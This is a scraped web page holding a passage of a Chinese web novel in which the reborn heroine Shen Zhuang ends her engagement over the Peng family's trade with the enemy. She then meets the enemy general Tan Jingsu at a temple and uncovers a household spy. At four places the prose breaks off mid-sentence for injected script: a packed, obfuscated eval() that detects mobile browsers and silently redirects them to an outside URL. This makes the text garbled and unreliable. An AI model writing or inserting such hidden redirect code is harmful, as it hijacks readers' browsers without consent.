$(''.inform'').remove(); $(''#content'').append('' 了这么一大笔费用，军营里的粥都稀了不少。 “阿兄，”沈妆穿好衣裳，盘腿坐在床上，“我知你与嫂嫂是为我忧心，可我终究是要嫁人的。若是嫁得远了，将来受了欺负，你与阿爹鞭长莫及。彭家就在沣州城，离章州城只两个时辰的脚程，咱们一家子还能时不时团聚，不是挺好的么。” “离章州城近的地方多了去了，实心实意的好人家也不缺，你偏找个爱钻营的商贾，这不是给自己惹不痛快吗？” “阿兄，般般终归不能同阿兄那样上阵杀敌，爹娘对般般的寄望，便是找个安稳人家嫁了。彭家虽然爱钻营，可也确实富贵安稳，能让爹娘安心。” 沈戬也知道爹娘一直希望沈妆可以嫁一户寻常人家，儿孙不必再上战场，但那人未必得是彭元昶：“商人重利，你让爹娘如何能安心？”沈戬依旧反对，又灌了一杯冷水。 “可彭公子是读书人，就在嫂嫂家书塾上的学，是孟老先生的得意弟子，孟老先生对他赞誉有加，说他将来高中谋个一官半职不成问题的。” 沈戬向来敬重老丈人，他老丈人教出来的学生或许真没自己想的那么不堪。可眼前这个玉雕般的人儿是他疼爱了十几年的妹妹，姓彭的千好万好也是配不上。 沈戬抚了抚妹妹的脑袋：“也罢，改日我去会会那姓彭的，若是个不堪的，我打他一顿出气。若是还成，那我打他一顿给他个下马威。” 自己捧在掌心的妹妹被他骗去，横竖是要打一顿才解气的，沈妆被他逗得发笑。 “阿兄，”沈妆问道，“军中一切可还顺利？” 沈戬收了笑容，神色严肃：“那个姓檀的将军，不好对付。” 若好对付，沈妆也不必日日忧烦了。 “说起来他的用兵之法倒与你给我的那本兵书颇有些一脉相承的意思，许是他也看过这书。” 一脉相承？竟不是一模一样吗？ 难道大赫国都那些人惯好添油加醋，连流传的檀氏兵法也掺了假？ 沈妆怅然皱眉。 “那檀京肃才上战场没几次就已这般厉害，若再历练几年只怕更难对付。阿兄若有机会一定要取他性命，切不可心慈手软，给沈家军留下祸患。”沈妆真是恨不得早日见着檀京肃的尸首，挫骨扬灰，好慰她前世所受的苦难。 沈戬点头，心说檀京肃这个名字难记得很，他听了几回都没记全，难为般般这么快记得住。 “檀京肃确实是个人物，可惜他不是平霄儿郎，否则我倒希望他来做我妹婿，一起上阵杀敌。” “阿兄说的什么胡话！”沈妆直皱眉，她可听不得这话，“你还不如盼着我明朝睡醒成了儿郎，与你并肩杀敌呢。” “你又说的什么胡话！” 13. 绝 决 平霄与大赫这一仗打打停停，一直到年关还不消停。 两军交战有个不成文的规矩，年节是祭祖敬神的日子，动武不祥，两边都会休战。 除夕那日，檀京肃的军队撤营十里，沈家军也分三班归家团圆。 沈家一家人祭了祖先，吃了团圆饭，又放了串爆竹除旧迎新。沈戬本打算回军营守着，孟福月在他耳边轻声告诉他自己有了身孕，沈戬喜得抱起媳妇转了两圈，决定留在家中守岁。 守岁是耗体力的事儿，祖母早早先回去歇着了，孟福月有了身子也得早些安寝，便也先回房去。阿娘张罗了一整日乏累不已，阿爹陪着先回去睡下了。 沈戬本打算早些回房陪伴妻子，却被沈妆拉住，要他指点枪法。 “阿兄如今军务繁忙，将来小侄子的枪法少不得要靠我传授。”沈妆连哄带骗把沈戬留下来看她耍枪。 沈妆如今很是刻苦，红缨枪耍得有模有样，沈戬连连拍手。 “你的彭公子可见过你耍枪？这般威威生风不将他读书人吓着？”沈戬打趣她。 “将门之女耍刀弄枪有何稀奇。”她倒是没在彭元昶面前耍过缨枪，不过他既敢来招惹自己，想必也是知晓她并不是个只会拿绣花针的柔弱女子。 这些日子阿爹已将彭家上下查探清楚了，彭家做的是正道生意，除了常与大赫的商户来往外，旁的都算得上一清二白。 沈宜一听说彭家与大赫有来往，顿时生了不悦。刘耘却觉无妨，左右彭元昶是要弃商从政的，彭家那些事儿将来也就与他没有关系了。沈宜说不过刘耘，暂且不作反对。 因着是沈妆自己选定的，祖母也没旁话。而今只待战事平息，两家就能正式议亲了。 亲事定下了，她心里反倒有一丝摇摆不定，不知自己这个抉择是对是错，彭元昶是不是真的可堪托付。 沈戬见她发着愣，把她手里的缨枪接过来挥了两下，道：“般般的枪法已然出神入化，为兄是没什么可指点的了。不过这长缨枪在战场上好使，在宅院里却不好施展。改日我教你几套近身拳法，保准你在彭家都吃不了亏。” 沈妆笑笑，忽然释怀了。她有拳头又有阿爹和阿兄，在彭家怎么都比在大赫自在。 “阿兄可别是说来哄我的。”她早想学拳法了，可阿娘说打拳没有女儿家的样儿，怕她会被帝都的高门嫌弃不肯让父兄教她，如今想必不会再拦着了。 “待军营那边闲下来，我定教你。” 更漏声响，门房又点了一串爆竹，新岁到了。 沈戬将缨枪往架上一扔，稳稳插在武器架上，快步往自个小院走，片刻也等不得。 沈妆望着他急切的背影心生羡慕，不知道将来自己的夫君会不会也这般爱重自己。 初一早上，彭元昶带着厚礼来安国公府拜年。那一身绣金团花海蓝宽袖大袍在日头底下熠熠生光，恍惚他才是国公府高门出身。 沈宜对这个未来女婿谈不上满意，倒是刘耘越看他越顺眼，热情招呼他坐下。 彭元昶打开一个红木雕花锦盒：“这是焦禹国产的白玉如意，倒不是什么稀罕物件，只胜在意头好，祝国公爷国公夫人年年如意。”焦禹国的白玉是最闻名的，这般成色的白玉更是稀罕得紧，哪怕是帝都皇宫里也少见得很。 听见焦禹、白玉几个字，沈宜的脸色有些难看，冷淡道：“若非国中盛产白玉，焦禹那贫瘠小国未必会招来战祸，还灭了国。” 彭元昶只想着这玉稀罕，未曾想到这一层，一时尴尬不已，歉道：“是晚生考虑不周了。”他端着锦盒，递也不是收也不是。 “人家一番心意，净说些扫兴话。”刘耘皱眉白了沈宜一眼。 沈妆忙帮着打圆场：“心意我阿爹阿娘领受了，只是这礼物过于贵重，我们愧不敢收。” “是是是，”刘耘也道，“心意我们收下了。” 如此彭元昶只得将锦盒收回，悻悻垂头喝茶。 眼瞧着沈宜看彭元昶不顺眼，刘耘赶紧让沈妆把人带去后头小花园逛逛，省得两边都不痛快。 沈妆忙不迭应好，领着人麻利地从沈宜眼前消失。 国公府的花园倒更像是个菜园，花圃只有一小方，菜圃有三块，平时家里吃的多是园里现摘的。 还未到春耕的时节，院子里空荡荡的，实在没什么风景可看。沈妆领他到歇春亭里坐，勉强有两株瘦梅可赏。 “往日倒不曾见你穿这般招摇的颜色。”那密密麻麻的金线实在晃眼，沈妆侧头避了避锋芒。 彭元昶低头瞧了眼自己的衣裳，倒不觉得有什么稀奇：“往日出入书塾，自不好太过张扬。眼下正是新春，亲戚故友往来走动，总是要体面些才好。” 沈妆点点头，商贾人家自有商贾人家的规矩。 “府里喜欢自己耕种吗？”彭元昶忍不住问她。毕竟从外边看起来，国公府朱门高墙，气派不凡，谁又能想得到里头竟是几片荒菜园子。 沈妆看了眼自家园子，道：“我阿娘张罗的。” 从前祖母掌家的时候这小花园倒也风雅过，后来祖父以身殉国，祖母便没了侍弄花草的闲情，小花园逐渐荒置。再后来母亲嫁进来了，觉着这么大一片地荒了可惜，便把地垦起来了。 寒碜是寒碜了些，可是赏花为何非要在自家花园赏。外头山野广阔，繁花争妍，谁家花园能比？她若想赏花，大可骑上自己的小白驹纵情驰骋，赏尽章城内外，看这点地方有什么趣？ “我母亲平素最喜莳花侍草，我家花园有许多奇珍异草，连廊亭榭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388146|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是从帝都请的工匠，仿着皇宫花园的式样造的。园里还有座假山，假山下暗藏乾坤。不大的洞口走进去，却比寝屋还宽敞，冬暖夏凉，我家几个嫂嫂最喜在里头吃酒、簸钱、打双陆，一待便是一整日。”彭元昶介绍着自家园子，自信整个平霄也寻不出几座能与之相较的。 簸钱双陆沈妆并无兴趣，不过能容人游戏的假山洞她还未曾见过，哪怕是在大赫皇宫也没有那样大的假山，彭家果真富庶。 “改日我再与阿爹阿娘去向彭家二老拜年。” “我父母，”彭元昶顿了顿，似有些为难，“我父母近来不在家中。” 沈妆闻言一愣，抬头看彭元昶，脸色有些难看，沈妆心下忽有不好的预感。新春里正是团圆的日子，选在此时远行，又让彭元昶这般难以启齿的，便只有大赫了。 彭元昶知晓沈妆已经猜出来了，索性和盘托出：“我家中的生意素与大赫有些往来，前阵子战事胶着出不了城，不少生意都停下了，亏损不少。家父家母也实在是操心家业，不得已才趁此时去了大赫。” 虽然早已知道彭家与大赫有生意往来，却没想到只停数月的生意就已经让彭家二老坐不住，冒着战火也要去敌国。 见她面色沉沉，彭元昶赶紧找补：“我家只是做些寻常百姓的生意，大赫君主不贤，但百姓无辜……” “无辜？”往事涌上心头，沈妆眼眶发红，“你觉得他们无辜？”那年烹杀曹阿梨的正是那些无辜的百姓，在他们眼里平霄人的命与猪狗牛羊无异。 彭元昶微张着嘴说不出话来，亦怕又说错了话。 两人僵在亭中静默半晌，彭元昶先开了口：“是我失言了，你既不喜大赫，我往后不提了。” 只是不提，而非斩断来往。 沈妆顿感失望，面色又冷了几分。 彭元昶心焦，未曾想过沈妆如此痛恨大赫，连忙又道：“往后我们可以开府别住，我家那些生意……只当与我们没有关系。” 沈妆深深吸气，冷静下来，平视着彭元昶衣领上绣的金线祥云，心里只觉讽刺。他们的锦绣吉祥是从大赫来的，她若真嫁入彭家，穿着这样一身锦绣，如何能与大赫撇清关系，又如何有颜面见沈家军众人。 她后退了半步，客客气气道：“是我失礼了。” “无……无妨。”彭元昶听她言辞冷淡心已凉了半截，但还抱一丝希望，“不如我们改日……” “家中事忙，恕我不便远送。”沈妆转头，唤一旁守候的曹阿梨送客。 曹阿梨应了一声，心底欢喜，脸上不敢显露，客客气气地摆手请彭元昶出府。 彭元昶一步三回头，却只看见了她的背影。寒风吹拂着，她衣裙飘逸，纤瘦的身子纹丝不动，透着令人坚毅也透着决绝。 14. 求 佛 彭元昶走后，沈妆仰头倒坐在凉亭椅上。 经历过上辈子那些事儿，她对情情爱爱早已没了寄望，对彭元昶也不过是一丝浅浅的好感，只因想给自己寻门合适的亲事，才一次次主动与他来往。 可今日她动摇了，她可以不在意彭元昶用心不纯，但彭家与大赫的关系她如何能不介怀。 但若放弃这桩亲事，她又该如何躲过和亲那一劫。 沈妆闭上眼，脑子里回闪着在大赫经历的种种，一时仿若置身寒潭，冰凉彻骨，求救无门。 神游之时，忽有一片温暖盖在她身上。沈妆诧然睁眼，孟福月不知几时进了凉亭，还将披风盖在她身上。 “嫂嫂？”沈妆心底生暖，担心孟福月怀着孕受寒，忙要将披风还她。 孟福月推道：“有了身子反而畏热，你摸摸我这手，烧得跟炭似的。” 孟福月握住沈妆的手，果真暖得发烫。 “方才我回来的时候撞见了阿梨，所以就来看看你。”她不敢提彭元昶的名字，来龙去脉曹阿梨都与她细说了。 “嫂嫂放心，我没事的。” 她无精打采的模样，让孟福月如何能放心。 孟福月无声叹息，思忖了半晌后，缓缓说道：“方才我跟着母亲打点要送去各个副将家的礼物，谁家添丁要多送布料，谁家父母病了要多添些银两，各家皆有不同。母亲说这是个累人的活，我却一点也不觉疲累，反而十分欢喜，因为我也可以为沈家军尽一份力。” 沈家军在外征战，安国公府要安抚家眷，每年新春母亲都要忙碌好一阵。以前她也想去帮手，可母亲嫌她毛躁添乱，不肯让她帮忙。 “人家说，女子成婚就如再次投胎，过什么样的日子就看你嫁的是什么人家。我常想，若我嫁的是个平常人家，那往后的日子无非是‘相夫教子’四字。倒不是说相夫教子不好，只是我不愿那般平淡过这一生。”孟福月转过头看沈妆，目光温柔明亮，“我也不愿见你平淡一生，白白辜负一身本事。” 沈妆猛如醍醐灌顶，她上辈子嫁了檀京肃凄苦收场，如今只为躲过前世结局就想随便寻个人托付余生。可若是那般，这辈子岂不又是白活了。 天高海阔，她未必没有别的活法，怎可就此草草一生！ 沈妆释然而笑：“谢谢嫂嫂。”她畅然吸了口春日微凉的空气，浑身都觉舒畅了。心道阿嫂果然是饱读诗书的，寥寥数语就解了她心结。 见她脸上又有了笑容，孟福月的心才安定下来。她抚了抚自己的肚子，暗暗希望腹里怀的也是个女孩儿。习文也好习武也罢，只要能平平安安留在身边就好。 她转过头，伸手摸了孟福月微微隆起的小腹，心里燃起一束希望的火苗。 “嫂嫂请郎中诊过了吗？” 孟福月点了点头，早先她月事推迟，只以为是忧思太过所致。前几日回娘家，她阿娘找了熟识的药婆来瞧，才知已有了数月身孕。回府后婆母又请了郎中看诊，开了些安胎的药方。 “我想起一事。”沈妆道，“我隐约记得曾听沈家军中的老人说过，阿兄生父族里出过好几对双生子，没准嫂嫂这胎也是两个孩子呢。” 孟福月又喜又惑：“真的么？”倒是不曾听沈戬提过。 沈妆点头，不过这话却是她瞎编的。 上辈子孟福月也是差不多这个时候有了身孕，因为担忧着阿兄一直胃口欠佳，肚子也不显大，以致郎中和稳婆都没看出她怀的是双生子。 后来生产的时候十分凶险，两个孩子只活了一个，是个男孩儿，女儿生下来的时候就没了气息。嫂嫂伤心不已，总说自己对不住女儿，月子里时常哭泣，损伤了根本，之后身子就大不如前了。 若是嫂嫂提前知道腹中有两个孩子，在孕中养好身体，或许这辈子她能多个小侄女。 “如今阿兄不在家，嫂嫂更要顾好自己和孩子。” 孟福月笑着点头，她盼着肚里是个女儿，沈戬则希望得个儿子。若真是两个孩子，那最好是一儿一女，这样他们夫妻俩的心愿就都不会落空了。 “也不知这场仗几时能休。”孟福月仰面慨叹。 “快了。”这个事儿沈妆胸有成竹，“阿兄这几仗打得漂亮，对面已经多日没有动作了，很快就该灰溜溜滚回大赫去了。” 孟福月不知她说的是真话还是在宽慰她，只当是真话听。 那日之后，彭元昶又往府里捎过几回信，沈妆虽看了但并未回信，意思已然十分明了。彭元昶亦是知趣的，收拾心思不再打扰。 两人就此斩断来往。 正月刚过，前线传来喜报，沈家军重创檀京肃的骁驰军，骁驰军节节败退，最终撤出了诏定关。 那一日，章州城的鞭炮声比除夕那夜还要热闹，噼里啪啦震天响，各家各户都想好好驱一驱晦气。 因着早前刘耘在云深寺求过菩萨庇佑沈家军，如今战事停了必得去还愿。门房套了马车，刘耘正张罗着将贡品香烛等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388147|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等放上车，不知哪家的浑小子打弹弓，一颗石子儿正打中了刘耘的腿，疼得她走不动道。 几个婆子忙扶她进厅里休息，沈妆劝她等伤好了再去还愿，刘耘摇头不肯，答应了菩萨的事情拖不得。 眼下孟福月身怀六甲，刘耘左思右想，只能让沈妆代她去了。 沈妆虽不情愿，但更怕阿娘拖着伤腿奔走落下病根。 可她向来是不懂礼佛的，佛前的规矩听一回忘一回。刘耘也担心她莽莽撞撞得罪了菩萨，便寻了府里最通此道的范大娘与她同去。 今日来云深寺的香客众多，好些都是沈家军的家眷，与她们一样是来还愿的。 范大娘交游广阔，遇上个熟人就得唠上几句，加之她身宽体胖，在山路上走几步就得停下来扶腰喘气，一炷香时间过去才走了不到一半的路程。 沈妆看了眼天色，一层薄薄的乌云从远处慢慢铺开，晚些怕是要下雨了。她接过范大娘手里的两篮贡品挎在手肘上，让她歇一歇再慢慢走，自己先行快步上山。 云深寺建寺已有三百余年，扩建数次，如今已有殿阁近十座，大小佛像逾百尊。 沈妆虽来过许多回但仍记不住路，寻了个小沙弥引路。 她从山门起沿左侧一座殿一座殿，一尊佛一尊佛地拜过去。虽然不大懂礼佛之事，但多年来跟着祖母多少也是学了些样子的。 到了文殊殿的时候，屋檐露水打湿了篮子里的香。沙弥唯恐点不着香意头不好，让沈妆在原地等她，自己再去讨些干爽的香来。 沈妆也不敢走远，先进了文殊殿等候。 文殊殿是云深寺最早建成的殿阁之一，形制古朴，没有雕梁画栋作衬，只东西墙壁绘了罗汉图。一踏进殿内仿佛有股木香从脚底旋起，混着清冷的檀香和潮湿的土气，越往里走越觉佛意森森，即便是不信佛的人也不由生出肃然之意。 她抬头看着文殊菩萨铜像，文殊菩萨身披璎珞天衣，骑铜狮坐骑，手持青铜宝剑，面容慈悲。她记得祖母说过，文殊菩萨手中的剑寓意着以智慧斩除厄运。 沈妆合十双手，闭上眼，默默祈求自己也能斩去厄运。 她专心祈愿之时，有人走近她身边，沈妆只当是其他香客并没在意。那人却悄声朝她说话:“文殊菩萨可保商贾财运亨通、官宦平步青云，不知沈姑娘求的是哪一样？” 沈妆猛然一惊，头皮瞬地发麻，耳朵嗡嗡作响。 此地！此语！ 檀京肃！ 15. 香 囊 “你，你怎么会在这里？”绰绰惊骇，一刹之间半边身体发了麻，只先转过眼珠看人再缓慢转过头去。 这副见了鬼的模样令檀京肃不知当笑当悲，她就那么害怕看见他吗？ 相比上次相见，檀京肃的肤色黑了不少，骨骼棱角愈发清晰，与她记忆里的模样更接近了。沈妆打了个寒颤，大赫明明退兵了，他为何还在平霄？又这么巧与她撞上了？ 不，不是巧合。他明知道自己已经知晓他的身份，若是碰巧撞见理应避开她才是。 他是故意来见她的。 想想平日里，章州城的孩童再淘气也不至于在安国公府门前伤人，这事儿怕也是他安排的。 可他怎么知道阿娘今日要来云深寺还愿？ 难道府里有大赫的细作？ 范大娘！ 沈妆已能笃定是她，一个虔诚礼佛的人怎么会眼瞧着天要下雨还拎着檀香元宝在路上耽搁。 除了她会不会还有其他人？她记得檀京肃手下有一座如洇山庄，专司在各国安抽暗探收集情报之事。也不知檀京肃从安国公府探了多少消息，她越想越觉心惊。 “沈姑娘放心，我并无恶意。”见她面色发白，檀京肃心生几分愧疚，“骁驰军已撤回大赫，稍后我也会离开，或许今后再无缘与姑娘相见。临行之前，有些话想与姑娘说。” 今后无缘相见，这几个字听起来实在悦耳。沈妆定住心神，只管听听檀京肃想说些什么。 她摆出了一副洗耳恭听的模样。 “听闻姑娘在议亲。” 沈妆诧然，眼珠子瞪得滚圆，才刚平缓的心跳又错乱了起来。 她与彭元昶来往的事情并不算秘密，若国公府真有如洇山庄的细作，檀京肃知晓此事倒不稀奇。至于后来她与彭元昶断绝来往，所知者并不多，大约并没传到细作耳中。 可是他关心这个做什么？ “彭家与大赫皇商交好，不少达官显贵也是彭家的座上宾。姑娘若是嫁入彭家，只怕将来会令沈家为难。” 竟是为了沈家？ “我素来欣赏沈将军治军有方，沈戬也是难得一遇的对手，沈姑娘更是将门虎女。忠勇之家，岂可被居心叵测的商户玷污。” 原来如此，沈妆松了口气。夫妻四载，她素知檀京肃是个惜英雄重英雄的人，哪怕对方是自己的对手。 不过惜重归惜重，这一点儿也不会妨碍他挥刀相向。 “多谢檀将军关心。”沈妆尽力压制恐惧，让自己的声音听起来镇定一些，“我与彭公子只是寻常朋友，先前为筹措军衣多了些往来，才令旁人误会。沈家祖辈以血泪换来的声誉，我自当比任何人都更加爱惜。” “那便好。”檀京肃如释重负，却也并不能欢喜，目光之中闪过一丝憾意。若沈妆是大赫女子，他必定倾尽一切求娶，可惜天意弄人。 虽然明知与她无缘，但也希望陪在她身边的能是个真心待她的良人。 若不是与沈戬的这几仗打得胶着腾不开手，他早像对付胡家人那样炮制彭家了，哪里还能让彭元昶有机会同她吃酒作诗。 原本他也可以等日后再暗中处置此事，可是昨夜他收到了退兵的军令和裴径的密信。 章州城久攻不下，骁驰军损伤惨重，朝廷颇有怨言，此次退兵回朝难免军法处置，即便侥幸保住性命，只怕也无暇顾及其他。 “将军何以会有如此误会？”沈妆试探问他，想探一探是否如自己猜测的一般，是国公府里出了奸细。 檀京肃知道以她的聪明必定早已猜出了答案，此时已没必要再隐瞒：“范大娘是我安插的人，我已经让她撤回烁京了。”烁京是大赫都城，亦是如洇山庄所在。 沈妆没想到他会如此坦诚，倒是省了自己不少力气。 她直觉今日的檀京肃与往昔有些不一样，身上少了素日那大局在握的傲气，莫不是这次的败绩挫着他了？ 细细回想，在大赫时曾听人说过檀京肃这辈子在打仗上只吃过一次亏，正是在第二次领兵攻打平霄的时候，班师回朝后在文武百官面前受了五十军棍，险些丢了性命。 她想，檀京肃再老成也仍是个少年将军，此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388148|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前连番胜仗意气风发，如今忽遭败绩难免心灰。 这或许是个机会。 “多谢将军坦诚。”沈妆取下腰间的香囊，合在掌心向文殊像祈愿后递给了檀京肃，道，“这是我独门配制的香料，闻之有止痛舒络之效，你或许用得着。” “姑娘这是投桃报李？”檀京肃欣然接过香囊，放在鼻间闻了闻，微有辛香，闻不出是什么香料。不过若真有能止痛的香囊，沈家军大抵已是人手一个了。 他看了眼文殊佛像，这姑娘几番在菩萨面前诓他，果真是不信神佛的将门虎女。 这的确不是什么止痛香囊，里头装的是她调配的辟寒香。虽不能止痛化淤，倒也害不了人。 “安插细作本就是你们大赫不够磊落，如今收回也属应该，我何需报李。”沈妆道，“这是投桃。” 檀京肃唇角微动，明明方才还那么怕他，现在已开始要他“报李”了。他饶有兴致地看着她，拇指摩挲着香囊上的白鹤绣线。 沈妆深深吸气，费了一番挣扎才说出了这些违心的话：“将军敬我沈家忠勇，我亦觉将军是稀世将才，相信将军无论遇到怎样的险境都必定能够逢凶化吉，再展所长。”若他能早登极乐自然是好，可惜他命硬得很，她也只能虚与委蛇。 也不知是因这番雪中送炭之言，还是辟寒香起了效用，檀京肃顿觉周身生暖。 此次骁驰军战败，军中不少老人都暗暗讽他并无领兵之才，此前所打的胜仗全凭运气而已，就连裴径这个军师都忧心他再难获陛下重用。他心中郁郁，自觉前途晦暗，却没想到能从沈妆口中听到这一番话。 “借姑娘吉言。”檀京肃欣然将香囊收入怀中，又问，“那不知姑娘希望我如何报李？” 沈妆壮起胆子狮子大开口：“若是他朝将军再与我阿兄战场交锋，还望念及今日，留一线余地。” “好。” 其实她并没把握只凭这几句话就能让檀京肃答应放过沈家军，却没想到檀京肃竟然想也不想就答应了。 沈妆心中欣喜，檀京肃向来是一诺千金的。 16. 献 计 沈妆独自下了山，一路果不曾再见到范大娘。 一个大活人忽然失了踪，她犯愁不知该如何向阿娘交待。若是据实已告，少不得要把见过檀京肃的事情也说出来，可她要如何解释自己认得出敌军主帅呢。 头疼，实在头疼。 她一踏进家门口，门房就告诉她刘耘留了话，让她回了府就去燕翳院复命。 刘耘的腿疼得打不了弯，坐在软榻上眼巴巴等着她回来，嘴里念念叨叨的，仍担心沈妆在菩萨目前不够虔诚。 沈宜听得耳朵嗡嗡，拄着拐到院里看麻雀争食。 小小麻雀尚可自在欢腾，他一个将军却只能困守家中，沈宜心口郁郁。 沈妆一进燕翳院就看见神光黯淡的父亲，进了屋又看见榻上揉着伤腿的母亲，心里不禁腾起火来，檀京肃手段真真恶毒，偏好往人腿上打。 “请郎中看过了吗？”沈妆在母亲身边坐下。 “看过了，只是伤了经络，歇一两日就好。”刘耘没把自己的伤放在心上，伸着脖子往外头望了望，问，“范大娘怎么没一起来回话？” “范大娘家里有急事，半道先回去了。”只能先这么囫囵遮掩了。 刘耘一听可急了，忙又问说：“那你怎么拜的菩萨？” “阿娘放心，我寻了个沙弥作向导，一切周全得很。” 她的周全刘耘可不信，奈何如今登不得山，无奈道：“罢了罢了，待我腿好利索了再亲自去一趟。” 转头又想起沈妆说范大娘遇了急事，问道：“范大娘可说是遇着什么事了？” 沈妆摇头：“走得急，没说。” 刘耘忧心忡忡：“她不是个没交代的，定是遇着大事儿了。你去一趟柳管事那里，让他去范家瞧瞧有什么帮得上的。” 沈妆应了好，人家处心积虑在府里当细作，难为阿娘还在替她担心。 从燕翳院出来的时候，天上飘了细雨，绵绵密密似有若无。沈妆沿着游廊去了后院柳管事那儿。 柳管事是柳嬷嬷的儿子，他的父亲曾在沈家军当过校尉，他打算盘理账的本事还是祖母亲自教的。若说国公府里只有一人可信，那便是柳管事了。 “柳叔。”沈妆打了帘子进去，柳管事正记账，听见沈妆进来只抬头问了声好，又继续低头将手上的账目理好。 沈妆知晓他的习惯，立在一旁扫了扫衣上的雨珠，静静等他把手头的事儿忙完。 柳管事理完账，将笔搁好后又将账本压平，妥帖收进抽屉里，这才起身朝沈妆欠道：“小姐久候了。” “柳叔不必客气。”沈妆道，“阿娘托我带话来，早上范大娘同我出去，路上忽说家中有急事先走了，也未细说是什么事情。阿娘想劳柳叔跑一趟，看看范家有什么事情需要帮忙。” 柳管事应了好：“我立刻就去。” “若是范家没人，可向邻家打听打听，她家平素可与谁家走得亲近，或者她平日爱去什么地方。”沈妆补充道。范家定然是没人的，但范大娘平日往大赫传递消息总得有什么路子，查清这个才是紧要。 柳管事虽觉得沈妆叮嘱得有些奇怪，但也未多细想，直接应下了。 “阿娘的腿伤还需静养，这些事情就别去扰她了，柳叔回头直接到莺时院来寻我就好。” 柳管事点点头，又应了声好。 刚黄昏时，柳管事就来回话了。 范大娘家里人去屋空，问了左邻右舍无人知晓去向。柳管事觉得蹊跷，又依沈妆的吩咐多打听了几句，邻家竟都说范家人寡言少语也不大外出，什么都问不出来。 若是旁人家如此倒不稀奇，可范大娘在府里是出了名的好凑热闹又嘴碎，怎出了国公府就成了深居简出的人了。 “小姐早发现范大娘有古怪？”否则为何会叮嘱他探问范大娘的交际喜好。 沈妆不否认：“原只是有些怀疑，现下看来她确是大赫派来的细作。” 柳管事虽不敢笃定人一定是从大赫来的，但也觉八九不离十，他柳管事神色凝重：“此事还需禀了国公爷。”这已不是内宅小事。 沈妆点了头，道：“禀自是要禀，但不可声张。还须查清府里是否有她的同伙，一并拔除才好。” 柳管事点点头，他看着沈妆长大，从前总觉沈妆是个天真活泼的孩子，如今见她行事沉稳有度，颇感欣慰。 “小姐放心，我定好好清查。” “阿爹那边我去回禀，柳管事抓紧去查。”他们已经耽误不少时间了。 柳管事走后，沈妆去了燕翳院。 沈宜独自在书房练字，怎么练都不合意。 沈妆敲门进去，扫了眼满地的废纸心中一酸，父亲的手该是拿刀枪的。 “般般怎么来了？”沈宜勉强挤出了笑脸，招呼女儿近前来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388149|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈妆假装没有看穿父亲的心事，只提了范大娘的事儿。 女儿的声音甜甜柔柔，沈宜却听得心头直跳。两国交战，派遣细作并不出奇，却没想到连自己眼皮底下的国公府也潜进了细作，而且一潜就是六年，自己毫无察觉。 “咱们府里尚且如此，且不知沈家军中藏了多少细作。”檀京肃此番算是给了她启发，若是能够抓出沈家军中的害虫，将来对战，获胜的机会便更添一筹。 沈宜闻言却摇了头：“府里的人不多，查起来容易。但沈家军，万不可为杯弓蛇影之事动摇军心。”他何尝不知沈家军里可能暗藏奸细，可军中更多的是与他出生入死的忠义之士，若是大张旗鼓清查难免让兵士寒心。 道理沈妆明白，但又岂能讳疾忌医。 “我有个法子，不仅不会动摇军心，还能让兵士得利。”这个法子是檀京肃清查骁驰军时用过的，如法炮制也能成为沈家军的治军良方。 她道：“沈家军的军饷虽从不曾拖欠，但是兵士驻守边陲，常要隔了三五年才能将银两带回家。家里人若是缺衣少米或是病了，难免照顾不上。 咱们国公府可以出面与各地的商户合作，若是沈家军的家属在他们的商行买东西，他们可以低于市价售卖。暂时拿不出银两的也可先挂账，咱们每三月对一次账，直接从士兵的军饷里扣除。如此一来，商户的客源多了，沈家军也能得实惠。” 原本她是想与彭家合作的，彭氏商行遍布平霄，合作起来方便。可既然彭家与大赫牵扯不清，那就不能冒这个险。 沈宜边听边点头，道：“如此便要细细将沈家军家属的姓名登记造册，还得两边核对清楚才可。若有不愿上报亲属姓名，或是核对后有出入的，再做详查。” 沈宜细细思量，又道：“不过咱们国公府出面与商户相谈恐有不妥，还需上书陛下，请陛下定夺为好。” 